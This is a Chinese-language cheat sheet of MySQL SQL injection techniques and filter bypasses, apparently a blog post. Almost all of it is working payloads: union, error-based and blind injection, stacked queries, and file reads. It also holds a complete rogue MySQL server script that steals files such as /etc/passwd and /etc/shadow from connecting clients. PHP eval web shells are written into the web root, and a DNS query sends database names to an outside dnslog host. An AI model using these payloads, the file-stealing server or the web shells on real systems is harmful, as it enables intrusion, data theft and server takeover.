SQL注入基础整理及Tricks总结
一、基础注入
1.联合查询
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
' union select flag from table1%23
2.报错注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
3.布尔盲注
order by rand(database()='pdotest')
4.时间盲注
id=' or sleep(3)%23
id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
id=' or benchmark(10000000,sha(1))%23
id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C
select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
select get_lock('test',1)
select get_lock('test',5)
经本地测试mysql5.7最大允许用单个rpad()填充349525位,而多个rpad()可以填充4个349525位,
因此可用:
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);
这个长度大概是1秒:
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',1);
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);
5.HTTP头注入
6.HTTP分割注入
select * from users where username='1' or extractvalue/*'and password='1*/(1,concat(0x7e,(select database()),0x7e))) or '';
POST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1
凑成:
select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
username=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and'1
这样凑成:
select username from users where username='admin'and(strcmp('and password=','asdasdasdasdasdasd'))and'1'
7.二次注入
select * from users where username='admin' #'
8.SQL约束攻击
二、基础绕过
1.大小写绕过
2.双写绕过
3.添加注释
/*! */类型的注释,内部的语句会被执行
select bbb from table1 where balabala='' union se/*!lect database()*/;
4.使用16进制绕过特定字符
select column_name from information_schema.columns where table_name=0x7573657273;
5.宽字节、Latin1默认编码
username = %df'#
经gbk解码后变为:
select * from users where username ='運'#
6.各个字符以及函数的代替
代替字符 | 数 | 代替字符 | 代替的数 | 数、字 | 代替的数 |
false、!pi() |
0 |
ceil(pi()*pi()) |
A |
ceil((pi()+pi())*pi()) |
K |
true、!(!pi()) |
1 |
ceil(pi()*pi())+true |
B |
ceil(ceil(pi())*version()) |
L |
true+true |
2 |
ceil(pi()+pi()+version()) |
C |
ceil(pi()*ceil(pi()+pi())) |
M |
floor(pi())、~~pi() |
3 |
floor(pi()*pi()+pi()) |
D |
ceil((pi()+ceil(pi()))*pi()) |
N |
ceil(pi()) |
4 |
ceil(pi()*pi()+pi()) |
E |
ceil(pi())*ceil(version()) |
O |
floor(version()) //注意版本 |
5 |
ceil(pi()*pi()+version()) |
F |
floor(pi()*(version()+pi())) |
P |
ceil(version()) |
6 |
floor(pi()*version()) |
G |
floor(version()*version()) |
Q |
ceil(pi()+pi()) |
7 |
ceil(pi()*version()) |
H |
ceil(version()*version()) |
R |
floor(version()+pi()) |
8 |
ceil(pi()*version())+true |
I |
ceil(pi()pi()pi()-pi()) |
S |
floor(pi()*pi()) |
9 |
floor((pi()+pi())*pi()) |
J |
floor(pi()pi()floor(pi())) |
T |
and -> &&
or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注:regexp为正则匹配,利用正则会有些新的注入手段
函数 |
说明 |
SUBSTR(str,N_start,N_length) |
对指定字符串进行截取,为SUBSTRING的简单版。 |
SUBSTRING() |
多种格式 |
RIGHT(str,len) |
对指定字符串从最右边截取指定长度。 |
LEFT(str,len) |
对指定字符串从最左边截取指定长度。 |
RPAD(str,len,padstr) |
在 |
LPAD(str,len,padstr) |
与RPAD相似,在 |
MID(str,pos,len) |
同于 |
INSERT(str,pos,len,newstr) |
在原始字符串 |
CONCAT(str1,str2…) |
函数用于将多个字符串合并为一个字符串 |
GROUP_CONCAT(…) |
返回一个字符串结果,该结果由分组中的值连接组合而成。 |
MAKE_SET(bits,str1,str2,…) |
根据参数1,返回所输入其他的参数值。可用作布尔盲注,如: |
LENGTH(str) |
返回字符串的长度。 |
PI() |
返回π的具体数值。 |
REGEXP “statement” |
正则匹配数据,返回值为布尔值。 |
LIKE “statement” |
匹配数据,%代表任意内容。返回值为布尔值。 |
RLIKE “statement” |
与regexp相同。 |
LOCATE(substr,str,[pos]) |
返回子字符串第一次出现的位置。 |
POSITION(substr IN str) |
等同于 |
LOWER(str) |
将字符串的大写字母全部转成小写。同: |
UPPER(str) |
将字符串的小写字母全部转成大写。同: |
ELT(N,str1,str2,str3,…) |
与 |
NULLIF(expr1,expr2) |
若expr1与expr2相同,则返回expr1,否则返回NULL。 |
CHARSET(str) |
返回字符串使用的字符集。 |
DECODE(crypt_str,pass_str) |
使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数: |
7.逗号被过滤
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
limit 2,1
limit 1 offset 2
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end
8.limit被过滤
9.information_schema被过滤
10.and or && ||被过滤
真^真^真=真
真^假^真=假
真^(!(真^假))=假
……
三、特定场景的绕过
1.表名已知字段名未知的注入
select * from(select * from table1 a join (select * from table1)b)c
select * from(select * from table1 a join (select * from table1)b using(balabala))c
select * from(select * from table1 a join (select * from table1)b using(balabala,eihey))c
select * from table1 where '1'='' or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from table1)b limit 3,1),1,1))>1,sleep(3),0)
2.堆叠注入&select被过滤
id=1';Set @x=0x31;Prepare a from “select balabala from table1 where 1=?”;Execute a using @x;
set @x=0x73656c6563742062616c6162616c612066726f6d207461626c653120776865726520313d31;prepare a from @x;execute a;
3.PHP正则回溯BUG
union/*100万个1*/select
4.PDO场景下的SQL注入
PDO::ATTR_EMULATE_PREPARES
PDO::ATTR_ERRMODE
PDO::MYSQL_ATTR_MULTI_STATEMENTS
5.Limit注入(5.7版本已经废除)
select bbb from table1 limit 0,1
select bbb from table1 limit 0,1 union select database();
select bbb from table1 order by balabala limit 0,1
select bbb from table1 order by balabala limit 0,1 PROCEDURE analyse(1,1)
6.特殊的盲注
整数溢出:cot(0), pow(999999,999999), exp(710)
几何函数:polygon(ans), linestring(ans)
select * from table1 where 1=1 and if(mid(user(),1,1)='r',benchmark(10000000,sha1(1)),1) and cot(0);
或
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0);
或
select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
select * from table1 where '1'='1' and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));
四.文件的读写
select load_file(file_path);
load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件
load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
# r'c:boot.ini',
r'c:windowswin.ini',
# r'c:windowssystem32driversetchosts',
# '/etc/passwd',
# '/etc/shadow',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + '', # Version
#'5.1.66-0+squeeze1' + '',
'x36x00x00x00', # Thread ID
'evilsalt' + '', # Salt
'xdfxf7', # Capabilities
'x08', # Collation
'x02x00', # Server Status
'' * 13, # Unknown
'evil2222' + '',
))
)
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == 'x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == 'x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'xfex00x00x02x00'
))
raise LastPacket()
elif packet.payload[0] in 'x02':
self.push(mysql_packet(
packet, 'x02'
))
raise LastPacket()
elif packet.payload == 'x00x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, 'x02')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, 'x02'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
daemonize()
asyncore.loop()
select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';
set global general_log_file = '/var/www/html/1.php';
set global general_log = on;
select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));
- End -
精彩推荐
觉得内容不错就点个“在看”吧!